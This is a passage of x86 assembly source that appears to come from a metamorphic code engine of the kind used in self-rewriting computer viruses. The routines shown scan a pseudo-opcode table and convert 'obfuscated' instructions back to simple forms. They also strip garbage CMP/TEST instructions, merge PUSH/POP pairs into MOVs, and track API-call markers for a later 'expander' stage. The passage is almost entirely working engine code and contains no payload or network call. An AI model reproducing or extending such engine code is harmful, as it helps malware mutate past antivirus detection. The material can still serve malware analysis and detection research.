                and     eax, 0FFh
                cmp     eax, 58h     ; POP Reg?
                jnz   @@EndOfTriplet ; If not, next group
                mov     eax, [edi]   ; Get the third instruction
                and     eax, 0FFh
                cmp     eax, 58h     ; POP Reg?
                jnz   @@EndOfTriplet ; If not, next group
                mov     eax, [edx+1]
                and     eax, 0FFh
                cmp     eax, 2       ; First instruction = POP EDX?
                jnz   @@EndOfTriplet ; If not, check next group
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 1       ; Second instruction = POP ECX?
                jnz   @@EndOfTriplet ; If not, check next group
                mov     eax, [edi+1]
                and     eax, 0FFh
                or      eax, eax     ; Third instruction = POP EAX?
                jnz   @@EndOfTriplet ; If not, check next group
                mov     eax, 0F5h    ; Set APICALL_END
                jmp   @@SetAPICALL_X

      @@EndOfTriplet:
                pop     edi          ; Restore pointer and check next triplet
                jmp   @@FindAPICALL_X

      @@EndOfScan:
                pop     edi
                ret
ShrinkCode      endp

;; Function used while we scan for APICALL_BEGIN and APICALL_END
IncreaseEIP2    proc
                cmp     edi, [ebp+AddressOfLastInstruction]
                jz    @@EndOfScan
                add     edi, 10h             ; Increase instruction pointer
                cmp     edi, [ebp+AddressOfLastInstruction]
                jz    @@EndOfScan     ; If we finished the code, return -1
                mov     eax, [edi]    ; Get the instruction
                and     eax, 0FFh
                cmp     eax, 0FFh     ; If it's NOP, increase again
                jz      IncreaseEIP2
                mov     eax, [edi+0Bh] ; Get the label flag
                and     eax, 0FFh      ; Return 1 if the instruction has a
                ret        ; label pointing to it or 0 if it doesn't have it
      @@EndOfScan:
                mov     eax, -1
                ret
IncreaseEIP2    endp

;; Function that decreases the instruction pointer. It will decrease while
;; the instruction is NOP, unless it's the first or it's labelled.
DecreaseEIP     proc
     @@Again:   cmp     edi, [ebp+InstructionTable] ; if we are just at the
                jz    @@OK                          ; beginning, return
                mov     eax, [edi+0Bh]    ; Check label
                and     eax, 0FFh   ; If the current instruction is labelled,
                or      eax, eax    ; finish the decreasing
                jnz   @@OK
                sub     edi, 10h    ; Decrease the pointer
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 0FFh   ; Is it NOP?
                jz    @@Again       ; If it is, decrease again
        @@OK:   ret
DecreaseEIP     endp

;; Function that increases the instruction pointer. It will increase until
;; the current instruction isn't NOP or it's the last instruction of the code.
IncreaseEIP     proc
                mov     ecx, [ebp+AddressOfLastInstruction]
                cmp     edi, ecx      ; Pointing to last instruction?
                jz    @@_End          ; If so, end
       @@Again: add     edi, 10h      ; Check next
                cmp     edi, ecx      ; Last instruction?
                jz    @@_End          ; If so, end
                mov     eax, [edi+0Bh] ; Check if it's labelled
                and     eax, 0FFh
                or      eax, eax      ; If it's labelled, end increasing
                jnz   @@End
                mov     eax, [edi]    ; Get instruction
                and     eax, 0FFh
                cmp     eax, 0FFh     ; If it's NOP, increase again
                jz    @@Again
        @@End:  mov     eax, [edi]
                and     eax, 0FFh     ; Check if the instruction uses a
                call    CheckIfInstructionUsesMem     ; memory address
                or      eax, eax
                jz    @@_End
                call    OrderRegs  ; If it uses a memory address, order the
                                   ; indexes
                mov     eax, [edi] ; Check if the instruction is MOV Mem,Mem
                and     eax, 0FFh
                cmp     eax, 4Fh
                jnz   @@_End
                push    edi        ; If it's MOV Mem,Mem, order the indexes
                mov     edi, [edi+7] ; of the extended part
                call    OrderRegs
                pop     edi
        @@_End: ret
IncreaseEIP     endp

;; Function to order the indexes in an instruction that uses a memory address.
;; If it has a single index, it's set at +1 (since the disassembler maybe put
;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave
;; it at +2 (by specifications). If the instruction has two indexes with no
;; multiplicators, put the lower one at +1 and other at +2. In case that the
;; one at +2 has a multiplicator, the indexes are unexchanged.
OrderRegs       proc
                push    edx
                mov     eax, [edi+1]   ; Check the index
                and     eax, 0FFh
                cmp     eax, 8         ; If it doesn't exists, check the
                jnz   @@_Next          ; second index
                mov     eax, [edi+2]   ; Get the second index
                and     eax, 0FFh
                cmp     eax, 7         ; If it has a scalar modification (*2,
                ja    @@_End           ; *4 or *8) just leave it.
                ; At this point, +1 is free and +2 holds an index
                mov     edx, [edi+1]   ; Put the index at +1
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+1], eax
                mov     eax, [edi+2]   ; Free the position at +2
                and     eax, 0FFFFFF00h
                add     eax, 8
                mov     [edi+2], eax
        @@_End: pop     edx            ; Return
                ret
                ; At this point, we put the lowest at +1. +1 is sure to hold
                ; a register, so +2 holds another one, 8 (no one) or one with
                ; multiplicator. In all cases, we can check for the lowest
                ; number and put it at +1 and we are ordering them (since a
                ; free position at +2 would be 8, which is always > [+1] or
                ; would use a scalar, so it would be >= 40h)
       @@_Next: mov     eax, [edi+2]   ; Get the two indexes
                mov     edx, [edi+1]
                and     eax, 0FFh
                and     edx, 0FFh
                cmp     eax, edx    ; If EAX > EDX, they are already ordered
                ja    @@_End
                push    eax
                mov     edx, [edi+2]  ; Get the lowest at +2 in EDX
                mov     eax, [edi+1]  ; Get the highest at +1 in EAX
                and     eax, 0FFh
                and     edx, 0FFFFFF00h
                add     eax, edx        ; Combine the data
                mov     [edi+2], eax    ; Set the register at +2
                pop     eax
                mov     edx, [edi+1]    ; Get the DWORD at +1 (keep all info)
                and     edx, 0FFFFFF00h
                add     eax, edx        ; Merge it with the lowest register
                mov     [edi+1], eax    ; Set it at +1
                pop     edx
                ret                ; Return with the indexes ordered
OrderRegs       endp

; EDI = Instruction pointer
; ECX = Address of last instruction
; returns:
; EAX != 0 if compressed, EAX = 0 if left unchanged
ShrinkThisInstructions proc
;;; Single instructions. The instructions are converted to their equivalent
;;; from the obfuscated form. In this way we also make easier the search of
;;; pairs and triplets.
                push    edi
      @@Check_Single:
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 30h      ; Check XOR Reg,Imm
                jnz   @@Single_Next00
                mov     ecx, 0E0h     ; Maybe it's NOT Reg
      @@Single_Next_CommonXOR_s1:
                mov     eax, [edi+7]  ; Get the Imm
        @@Single_Next_CommonXOR_s1_2:
                cmp     eax, -1       ; Check if it's -1
                jz    @@Single_SetInstructionECX ; If it is, set opcode <ECX>
        @@Single_Next_CheckNulOP:
                or      eax, eax      ; Check if it's XOR with 0
                jnz   @@Single_End
                jmp   @@Single_SetNOP ; If it's 0, set a NOP
        @@Single_SetInstructionECX:
                mov     eax, ecx      ; Set the opcode in <ECX>
                jmp   @@Single_SetInstruction

      @@Single_Next00:
                ;mov     al, [edi]
                cmp     eax, 34h       ; Check XOR Mem,Imm
                jnz   @@Single_Next00_
                mov     ecx, 0E1h      ; Set NOT Mem if Imm == -1
                jmp   @@Single_Next_CommonXOR_s1

      @@Single_Next00_:
                cmp     eax, 4Bh       ; Check TEST Mem,Reg
                jnz   @@Single_Next00__
                mov     eax, 4Ah       ; If it is, set TEST Reg,Mem (the other
                jmp   @@Single_SetInstruction ; possibility doesn't exist)

      @@Single_Next00__:
                cmp     eax, 4Bh+80h  ; Check TEST Mem,Reg (8 bits)
                jnz   @@Single_Next01
                mov     eax, 4Ah+80h  ; It it is, set TEST Reg,Mem (8 bits)
                jmp   @@Single_SetInstruction

      @@Single_Next01:
                ;mov     al, [edi]
                cmp     eax, 30h+80h   ; XOR Reg8,Imm8?
                jnz   @@Single_Next02
                mov     ecx, 0E2h      ; Set NOT if Imm8 == -1
        @@Single_Next01_GetSigned:
                mov     eax, [edi+7]
                and     eax, 0FFh
                cmp     eax, 80h
                jb    @@Single_Next01_NotSigned
                add     eax, 0FFFFFF00h
        @@Single_Next01_NotSigned:
                jmp   @@Single_Next_CommonXOR_s1_2

      @@Single_Next02:
                ;mov     al, [edi]
                cmp     eax, 34h+80h   ; XOR Mem8,Imm8?
                jnz   @@Single_Next03
                mov     ecx, 0E3h      ; Set NOT if Imm8 == -1
                jmp   @@Single_Next01_GetSigned

      @@Single_Next03:
                ;mov     al, [edi]
                cmp     eax, 41h        ; MOV Reg,Reg?
                jnz   @@Single_Next04
        @@Single_Next_CommonMOV:
                mov     eax, [edi+1]    ; Check if source and destiny are
                mov     ecx, [edi+7]    ; the same
                and     eax, 0FFh
                and     ecx, 0FFh
                cmp     eax, ecx        ; If they are, set NOP
                jnz   @@Single_End
      @@Single_SetNOP:
                mov     eax, 0FFh
      @@Single_SetInstruction:
                mov     ecx, [edi]      ; Get the DWORD at [EDI]
                and     ecx, 0FFFFFF00h
                and     eax, 0FFh       ; Set 0FF on the lower byte (set NOP)
                add     eax, ecx
                mov     [edi], eax      ; Write back the DWORD
                jmp   @@EndCompressed

      @@Single_Next04:
                ;mov     al, [edi]
                cmp     eax, 41h+80h   ; MOV Reg8,Reg8?
                jz    @@Single_Next_CommonMOV

      @@Single_Next05:
                ;mov     al, [edi]
                cmp     eax, 28h        ; SUB Reg,Imm?
                jnz   @@Single_Next06
                xor     ecx, ecx        ; Just put ADD
      @@Single_Next_NegateImm:
                mov     eax, [edi+7]    ; Negate the Imm
                neg     eax
                mov     [edi+7], eax
                jmp   @@Single_SetInstructionECX ; Set the opcode of ADD

      @@Single_Next06:
                ;mov     al, [edi]
                cmp     eax, 28h+80h   ; SUB Reg8,Imm8?
                jnz   @@Single_Next07
                mov     ecx, 00h+80h   ; Set the opcode of ADD Reg8,Imm8
                jmp   @@Single_Next_NegateImm ; Jump to negate the Imm

      @@Single_Next07:
                ;mov     al, [edi]
                cmp     eax, 2Ch       ; SUB Mem,Imm?
                jnz   @@Single_Next08
                mov     ecx, 04h       ; Set ADD Mem,-Imm
                jmp   @@Single_Next_NegateImm

      @@Single_Next08:
                ;mov     al, [edi]
                cmp     eax, 2Ch+80h   ; SUB Mem8,Imm8?
                jnz   @@Single_Next09
                mov     ecx, 04h+80h   ; Set ADD Mem8,-Imm8
                jmp   @@Single_Next_NegateImm

      @@Single_Next09:
                ;mov     al, [edi]
                or      eax, eax       ; ADD Reg,Imm?
                jnz   @@Single_Next10
        @@Single_Next_CheckNulOP_2:
                mov     eax, [edi+7]   ; Check if it's ADD Reg,0. If it is,
                jmp   @@Single_Next_CheckNulOP  ; anulate the instruction

      @@Single_Next10:
                cmp     eax, 4                      ; ADD Mem,Imm?
                jz    @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0
                cmp     eax, 04h+80h                ; ADD Mem8,Imm8?
                jz    @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
                cmp     eax, 0Ch                    ; OR Mem,Imm?
                jz    @@Single_Next_CheckNulOP_2    ; Check for Imm == 0
                cmp     eax, 0Ch+80h                ; OR Mem8,Imm8?
                jz    @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
                cmp     eax, 24h+80h               ; AND Mem8,Imm8?
                jz    @@Single_Next10_Check_s1_8b  ; Check for Imm8 == -1 or 0
                cmp     eax, 24h                   ; AND Mem,Imm?
                jnz   @@Single_Next10_             ; Check for Imm == -1 or 0
        @@Single_Next10_Check_s1:
                mov     eax, [edi+7]   ; Get Imm
                cmp     eax, -1
                jz    @@Single_SetNOP  ; If Imm == -1, set NOP
                or      eax, eax
                jnz   @@Single_End     ; If Imm == 0,
                mov     eax, 44h       ;  set MOV Mem,0
                jmp   @@Single_SetInstruction
        @@Single_Next10_Check_s1_8b:
                mov     eax, [edi+7]
                and     eax, 0FFh
                cmp     eax, 0FFh     ; Check if Imm8 == -1
                jz    @@Single_SetNOP ; If it is, set NOP
                or      eax, eax      ; Check if Imm8 == 0
                jnz   @@Single_End    ; If it isn't, check doubles
                mov     eax, 44h+80h  ; Set MOV Mem8,0
                jmp   @@Single_SetInstruction


      @@Single_Next10_:
                ;mov     al, [edi]
                cmp     eax, 00h+80h   ; ADD Reg8,Imm8?
                jnz   @@Single_Next11
        @@Single_Next_CheckNulOP_2_8b:
                ;xor     eax, eax
                mov     eax, [edi+7]   ; Get the Imm and go to check if it's 0
                and     eax, 0FFh
                jmp   @@Single_Next_CheckNulOP

      @@Single_Next11:
                ;mov     al, [edi]
                cmp     eax, 08h       ; OR Reg,Imm?
                jz    @@Single_Next_CheckNulOP_2  ; Check if Imm is 0

      @@Single_Next12:
                ;mov     al, [edi]
                cmp     eax, 08h+80h   ; OR Reg8,Imm8?
                jz    @@Single_Next_CheckNulOP_2_8b  ; Check if is 0

      @@Single_Next13:
                ;mov     al, [edi]
                cmp     eax, 20h       ; AND Reg,Imm?
                jnz   @@Single_Next14
                mov     eax, [edi+7]   ; Check if Imm == -1
                cmp     eax, -1
                jz    @@Single_SetNOP  ; If it is, set NOP
                or      eax, eax
                jnz   @@Single_End
                mov     eax, 40h       ; If it's 0, set MOV Reg,0
                jmp   @@Single_SetInstruction

      @@Single_Next14:
                ;mov     al, [edi]
                cmp     eax, 20h+80h   ; AND Reg8,Imm8?
                jnz   @@Single_Next15
                mov     eax, [edi+7]   ; Get Imm8
                and     eax, 0FFh
                cmp     eax, 0FFh      ; Check if it's -1
                jz    @@Single_SetNOP  ; If it is, set NOP
                or      eax, eax
                jnz   @@Single_End     ; Check if it's 0
                mov     eax, 40h+80h   ; If it is, set MOV Reg,0
                jmp   @@Single_SetInstruction

      @@Single_Next15:
                ;mov     al, [edi]
                cmp     eax, 31h       ; XOR Reg,Reg?
                jnz   @@Single_Next16
      @@Single_Next_CheckSetTo0:
                mov     ecx, 40h       ; Set ECX = pseudoopcode of MOV
      @@Single_Next_CheckSetTo0_2:
                mov     eax, [edi+1]   ; Check if source == destiny
                mov     ebx, [edi+7]
                and     eax, 0FFh
                and     ebx, 0FFh
                cmp     eax, ebx       ; If they are equal...
                jnz   @@Single_End     ; ...
                xor     eax, eax       ; ...set MOV Reg,0
                mov     [edi+7], eax
                jmp   @@Single_SetInstructionECX

      @@Single_Next16:
                ;mov     al, [edi]
                cmp     eax, 31h+80h   ; XOR Reg8,Reg8?
                jnz   @@Single_Next17
      @@Single_Next_CheckSetTo0_8b:
                mov     ecx, 40h+80h   ; Check if source == destiny and put
                jmp   @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are
                                                  ; equal
      @@Single_Next17:
                ;mov     al, [edi]
                cmp     eax, 29h       ; SUB Reg,Reg?
                jz    @@Single_Next_CheckSetTo0 ; Check in the same way as
                                                ; XOR Reg,Reg
      @@Single_Next18:
                ;mov     al, [edi]
                cmp     eax, 29h+80h   ; SUB Reg8,Reg8?
                jz    @@Single_Next_CheckSetTo0_8b  ; Check if src == dest, to
                                                    ; see if we put MOV Reg8,0

      @@Single_Next19:
                ;mov     al, [edi]
                cmp     eax, 09h       ; OR Reg,Reg?
                jnz   @@Single_Next20
      @@Single_Next_CheckCheckIf0:
                mov     ecx, 38h       ; Put CMP Reg,0 if src == dest
                jmp   @@Single_Next_CheckSetTo0_2

      @@Single_Next20:
                ;mov     al, [edi]
                cmp     eax, 09h+80h   ; OR Reg8,Reg8?
                jnz   @@Single_Next21
      @@Single_Next_CheckCheckIf0_8b:
                mov     ecx, 38h+80h   ; Put CMP Reg8,0 if src == dest
                jmp   @@Single_Next_CheckSetTo0_2

      @@Single_Next21:
                ;mov     al, [edi]
                cmp     eax, 21h       ; AND Reg,Reg?
                jz    @@Single_Next_CheckCheckIf0

      @@Single_Next22:
                ;mov     al, [edi]
                cmp     eax, 21h+80h   ; AND Reg8,Reg8?
                jz    @@Single_Next_CheckCheckIf0_8b

      @@Single_Next23:
                ;mov     al, [edi]
                cmp     eax, 49h       ; TEST Reg,Reg?
                jz    @@Single_Next_CheckCheckIf0

      @@Single_Next24:
                ;mov     al, [edi]
                cmp     eax, 49h+80h   ; TEST Reg8,Reg8?
                jz    @@Single_Next_CheckCheckIf0_8b

      @@Single_Next25:
                ;mov     al, [edi]
                cmp     eax, 0FCh      ; LEA Reg,[Mem]?
                jnz   @@Single_Next26
                mov     eax, [edi+2]   ; Check second index
                and     eax, 0FFh
                cmp     eax, 40h       ; If it has a multiplicator, it's not
                jae   @@Single_Next26  ; interesting
                mov     eax, [edi+1]   ; Now +1 holds the first index (and if
                and     eax, 0FFh      ; there aren't multiplicators, this
                cmp     eax, 8         ; must be < 8 if there is an index)
                jz    @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes
                mov     ecx, [edi+7]
                and     ecx, 0FFh      ; ECX = Destiny register
                cmp     eax, ecx       ; Are they equal?
                jz    @@Single_Next_LEA_CheckADD ; If so, check ADD
                mov     eax, [edi+2]   ; Get the second index
                and     eax, 0FFh      ; Is there anyone?
                cmp     eax, 8
                jz    @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV
                cmp     eax, ecx                  ; Is equal to the destiny?
                jz    @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD
                mov     ecx, [edi+1]   ; Get the first index
                and     ecx, 0FFh
                cmp     eax, ecx       ; If it's not equal to the second,
                jnz   @@Single_End     ; finish singles conversion
                mov     eax, 8         ; Set the first index as 8
                mov     ecx, [edi+1]
                and     ecx, 0FFFFFF00h
                add     eax, ecx
                mov     [edi+1], eax
                mov     eax, [edi+2]
                add     eax, 40h       ; Set LEA Reg,[2*Reg]
                mov     [edi+2], eax
                jmp   @@EndCompressed  ; End with compression flag
        @@Single_Next_LEA_CheckADDRegReg2:
                mov     eax, [edi+3]   ; Get the immediate
                or      eax, eax       ; If it's 0, set ADD Reg,Reg
                jz    @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA
                jmp   @@Single_End
        @@Single_Next_LEA_CheckMOV:
                mov     eax, [edi+2]   ; It DOESN'T hold anything more than
                and     eax, 0FFh      ; 8, but just in case
                cmp     eax, 8
                jz    @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm
                mov     ecx, [edi+7]   ; Get the destiny
                and     ecx, 0FFh
                cmp     eax, ecx       ; If destiny == index, set ADD
                jz    @@Single_Next_LEA_SetADD_2
                mov     eax, [edi+3]   ; Get the Immediate
                or      eax, eax       ; If it isn't 0, end
                jnz   @@Single_End
        @@Single_Next_LEA_SetMOVRegReg_2:
                mov     eax, [edi+2]   ; Set MOV Reg,Reg (from LEA Reg,[Reg])
                mov     ecx, [edi+1]
                and     ecx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ecx
                mov     [edi+1], eax
                mov     eax, 41h
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_SetADD_2:
                mov     ecx, [edi+1]     ; Set ADD Reg,Reg (from
                and     ecx, 0FFFFFF00h  ; LEA Reg,[Reg+Reg2])
                and     eax, 0FFh
                add     eax, ecx
                mov     [edi+1], eax
                mov     eax, [edi+3]
                mov     [edi+7], eax
                xor     eax, eax
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_SetMOV:
                mov     ecx, 40h      ; Set MOV Reg,Imm (from LEA Reg,[Imm])
                mov     eax, [edi+7]
                and     eax, 0FFh
                mov     ebx, [edi+1]
                and     ebx, 0FFFFFF00h
                add     eax, ebx
                mov     [edi+1], eax
        @@Single_Next_LEA_SetInstructionECX:
                mov     eax, [edi+3]
                mov     [edi+7], eax
                jmp   @@Single_SetInstructionECX
        @@Single_Next_LEA_CheckADD:
                mov     eax, [edi+2]  ; Check another possibility for ADD
                and     eax, 0FFh
                cmp     eax, 8        ; If Index2 == 8 (not set), set
                jz    @@Single_Next_LEA_SetADD     ; ADD Reg,Imm
                mov     eax, [edi+3]      ; If Index2 != 8 and memory dword
                or      eax, eax          ; addition is != 0, end
                jnz   @@Single_End
        @@Single_Next_LEA_SetADDRegReg:
                mov     eax, [edi+2]      ; Set ADD Reg,Reg
                mov     ebx, [edi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [edi+1], eax
        @@Single_Next_LEA_SetADDRegReg_2:
                mov     eax, 01h          ; Pseudo-opcode of ADD Reg,Reg
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_SetADD:
                mov     eax, [edi+3]
                mov     [edi+7], eax  ; Set memory dword addition as the
                xor     eax, eax      ; Imm to add in ADD Reg,Imm
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_CheckMOVRegReg:
                mov     eax, [edi+3]  ; If the dword addition is 0, set
                or      eax, eax      ; MOV Reg,Reg2
                jnz   @@Single_End
        @@Single_Next_LEA_SetMOVRegReg:
                mov     eax, 41h      ; Pseudo-opcode of MOV Reg,Reg
                jmp   @@Single_SetInstruction

      @@Single_Next26:
                cmp     eax, 4Fh      ; MOV Mem,Mem?
                jnz   @@Single_Next27
                mov     esi, [edi+7]  ; If src == dest, set NOP
                mov     eax, [edi+1]  ; This could be, for example, a
                cmp     eax, [esi+1]  ; compression of the sequence
                jnz   @@Single_End    ; PUSH [EAX+123] / POP [EAX+123]
                mov     eax, [edi+3]
                cmp     eax, [esi+3]
                jz    @@Single_SetNOP

      @@Single_Next27:
                cmp     eax, 38h      ; CMP instruction?
                jb    @@Single_Next28
                cmp     eax, 3Ch
                ja    @@Single_Next28
      @@Single_Next27_Common:
                mov     edx, edi     ; Let's get the next instruction. It the
      @@Single_Next27_GetNextInstr:  ; next instruction is not a conditional
                add     edx, 10h     ; jump, this CMP is a garbage instruction,
                mov     eax, [edx+0Bh] ; so we NOP it
                and     eax, 0FFh
                or      eax, eax
                jnz   @@Single_SetNOP
                mov     eax, [edx]
                and     eax, 0FFh
                cmp     eax, 0FFh
                jz    @@Single_Next27_GetNextInstr
                cmp     eax, 70h
                jb    @@Single_SetNOP
                cmp     eax, 7Fh
                ja    @@Single_SetNOP
                jmp   @@Single_End


      @@Single_Next28:
                cmp     eax, 38h+80h   ; 8 bits CMP instruction?
                jb    @@Single_Next29
                cmp     eax, 3Ch+80h
                jbe   @@Single_Next27_Common

      @@Single_Next29:
                cmp     eax, 48h       ; Do the same with TEST. A single test
                jb    @@Single_Next30  ; (without conditional jump) is garbage
                cmp     eax, 4Ch       ; for sure.
                jbe   @@Single_Next27_Common

      @@Single_Next30:
                cmp     eax, 48h+80h   ; 8 bits TEST instruction?
                jb    @@Single_Next31
                cmp     eax, 4Ch+80h
                jbe   @@Single_Next27_Common

      @@Single_Next31:

      @@Single_End:
;; Once here we check if it's a 8 bits instruction. If it's the case,
;; we save for later the register it's using (concretely, for register
;; translation). The last one stored here is the one we are using along
;; the engine.

                mov     eax, [edi]   ; Get the instruction
                and     eax, 0FFh
                cmp     eax, 80h+00  ; Check if it's a 8 bits opcode
                jb    @@Check_Double
                cmp     eax, 80h+4Ch
                ja    @@Check_Double
                and     eax, 7
                or      eax, eax     ; If it is, check if it's MOV Reg,Imm,
                jz    @@GetFrom_RegImm
                cmp     eax, 1       ; MOV Reg,Reg,
                jz    @@GetFrom_RegReg
                cmp     eax, 2       ; MOV Reg,Mem or
                jz    @@GetFrom_RegMem
                cmp     eax, 3       ; MOV Mem,Reg, and then we get the
                jnz   @@Check_Double ; register and save it, having then
      @@GetFrom_MemReg:              ; the 8 bits register that we are using
      @@GetFrom_RegMem:              ; along the code. This register must be
      @@GetFrom_RegReg:              ; treated specially by the register
                mov     eax, [edi+7] ; translator of the expander, because must
                and     eax, 0FFh    ; be one of the general use registers
                jmp   @@GetFrom_OK   ; (EAX, ECX, EDX and EBX)
      @@GetFrom_RegImm:
                mov     eax, [edi+1]
                and     eax, 0FFh
      @@GetFrom_OK:
                mov     [ebp+Register8Bits], eax ; Save the register


;;; Pairs of instructions. We try to match known pairs to merge them to the
;;; simple one-instruction form.
      @@Check_Double:
                mov     esi, edi
                call    IncreaseEIP   ; Increase pointer and get the second
                cmp     edi, [ebp+AddressOfLastInstruction] ; instruction.
                jz    @@EndNoCompressed
                mov     eax, [edi+0Bh]
                and     eax, 0FFh
                or      eax, eax
                jnz   @@EndNoCompressed ; We don't join instructions with
                                        ; labels on them.
             ;; Pair to check is at <[esi],[edi]>

                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 68h     ; Check pair with PUSH Imm
                jnz   @@Double_Next00
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h     ; PUSH Imm/POP Reg?
                jz    @@Double_Next_PutMOVRegImm
                cmp     eax, 59h     ; PUSH Imm/POP Mem?
                jnz   @@EndNoCompressed
        @@Double_Next_PutMOVMemImm:
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 44h     ; Set MOV Mem,Imm
                jmp   @@Double_Next_SetInstruction
        @@Double_Next_PutMOVRegImm:
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, 40h     ; Set MOV Reg,Imm
      @@Double_Next_SetInstruction:
                mov     ebx, [esi]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi], eax
      @@Double_Next_SetNOP:
                mov     eax, 0FFh    ; Set NOP at second instruction
                mov     [edi], al
                jmp   @@EndCompressed

      @@Double_Next00:
                ;mov     al, [esi]
                cmp     eax, 50h     ; Check pair beginning with PUSH Reg
                jnz   @@Double_Next01
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h     ; PUSH Reg/POP Reg?
                jz    @@Double_Next_PushPop
                cmp     eax, 0FEh    ; PUSH Reg/RET?
                jz    @@Double_Next00_JMPReg
                cmp     eax, 59h     ; PUSH Reg/POP Mem?
                jnz   @@Double_End
                mov     eax, [esi+1]
                mov     ebx, [esi+7]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+7], eax
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 43h     ; If PUSH Reg/POP Mem, set MOV Mem,Reg
                jmp   @@Double_Next_SetInstruction
        @@Double_Next_PushPop:
                mov     eax, [edi+1]
                mov     [esi+7], eax
                mov     eax, 41h     ; If PUSH Reg/POP Reg, set MOV Reg,Reg
                jmp   @@Double_Next_SetInstruction
        @@Double_Next00_JMPReg:
                mov     eax, 0EDh    ; If PUSH Reg/RET, set JMP Reg
                jmp   @@Double_Next_SetInstruction

      @@Double_Next01:
                ;mov     al, [esi]
                cmp     eax, 51h     ; Check pair beginning with PUSH Mem
                jnz   @@Double_Next02
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h     ; PUSH Mem/POP Reg?
                jz    @@Double_Next01_PushPop
                cmp     eax, 59h     ; PUSH Mem/POP Mem?
                jnz   @@Double_End
        @@Double_Next01_MOVMemMem:
                mov     [esi+7], edi
                mov     [edi+7], esi
                mov     eax, 4Fh     ; If PUSH Mem/POP Mem, MOV Mem,Mem
                jmp   @@Double_Next_SetInstruction
        @@Double_Next01_PushPop:
                mov     eax, [edi+1]
                mov     ebx, [edi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+7], eax
                mov     eax, 42h     ; If PUSH Mem/POP Reg, set MOV Reg,Mem
                jmp   @@Double_Next_SetInstruction

      @@Double_Next02:
                mov     eax, [esi+1]
                cmp     eax, [edi+1]
                jnz   @@Double_Next_NoMem
                mov     eax, [esi+3]    ; If bytes from +1 to +6 coincides,
                cmp     eax, [edi+3]    ; it can be a memory operation with
                jnz   @@Double_Next_NoMem ; the same memory variable. If not,
                                        ; just jump to check other things

    ; From now and while we are checking memory variable using instructions,
    ; we are sure that they use the same memory variable.
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 0F6h       ; Check if it's APICALL_STORE
                jz    @@Double_Next02_Check   ; If it is, jump (it's just like
                                              ; a MOV Mem,Reg)
                cmp     eax, 43h        ; MOV Reg,Mem?
                jnz   @@Double_Next03
      @@Double_Next02_Check:
                mov     eax, [edi]     ; Get the second instruction
                and     eax, 0FFh
                cmp     eax, 51h       ; PUSH Mem?
                jz    @@Double_Next02_PushReg
                cmp     eax, 4Ch       ; OP Mem,Imm?
                jbe   @@Double_Next_OPRegReg
                cmp     eax, 0EAh      ; CALL Mem?
                jz    @@Double_Next02_CALLMem
                cmp     eax, 0EBh      ; JMP Mem?
                jnz   @@Double_End
        @@Double_Next02_JMPMem:
                mov     eax, 0EDh      ; MOV Mem,Reg + JMP Mem = JMP Reg
        @@Double_Next02_XXXMem:
                push    eax
                mov     eax, [esi+7]
                mov     ebx, [esi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+1], eax
                pop     eax
                jmp   @@Double_Next_SetInstruction
        @@Double_Next02_CALLMem:
                mov     eax, 0ECh      ; MOV Mem,Reg + CALL Mem = CALL Reg
                jmp   @@Double_Next02_XXXMem
        @@Double_Next_OPRegReg:
                and     eax, 7Fh       ; Check operation
                cmp     eax, 3Bh       ; Check for CMP Mem,Reg
                jz    @@Double_Next02_MergeCheck ; If it is, merge the check
                cmp     eax, 4Bh       ; Check for TEST Mem,Reg
                jz    @@Double_Next02_MergeCheck ; If it is, merge
                cmp     eax, 4Ah       ; Check for TEST Reg,Mem (in fact, the
                jz    @@Double_Next02_MergeCheck ; same x86 opcode)
                and     eax, 7
                cmp     eax, 2         ; Check for OP Reg,Mem
                jnz   @@Double_End     ; If not, finish
                mov     eax, [esi+7]   ; If so, merge it:
                mov     [esi+1], eax   ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg
                mov     eax, [edi+7]   ; We don't care about the two registers
                mov     [esi+7], eax   ; being equal, because that is going to
                                       ; be checked by the scanning of single
                                       ; instructions
        @@Double_Next02_SetOP:
                mov     eax, [edi]     ; Get the OP
                and     eax, 0F8h      ; Transform it to OP Reg,Reg
                add     eax, 1
                jmp   @@Double_Next_SetInstruction
        @@Double_Next02_MergeCheck:
                mov     eax, [edi+7]
                mov     [esi+1], eax   ; Merge the check (if CMP/TEST Reg,Mem)
                jmp   @@Double_Next02_SetOP
        @@Double_Next02_PushReg:
                mov     eax, [esi+7]
                mov     [esi+1], eax
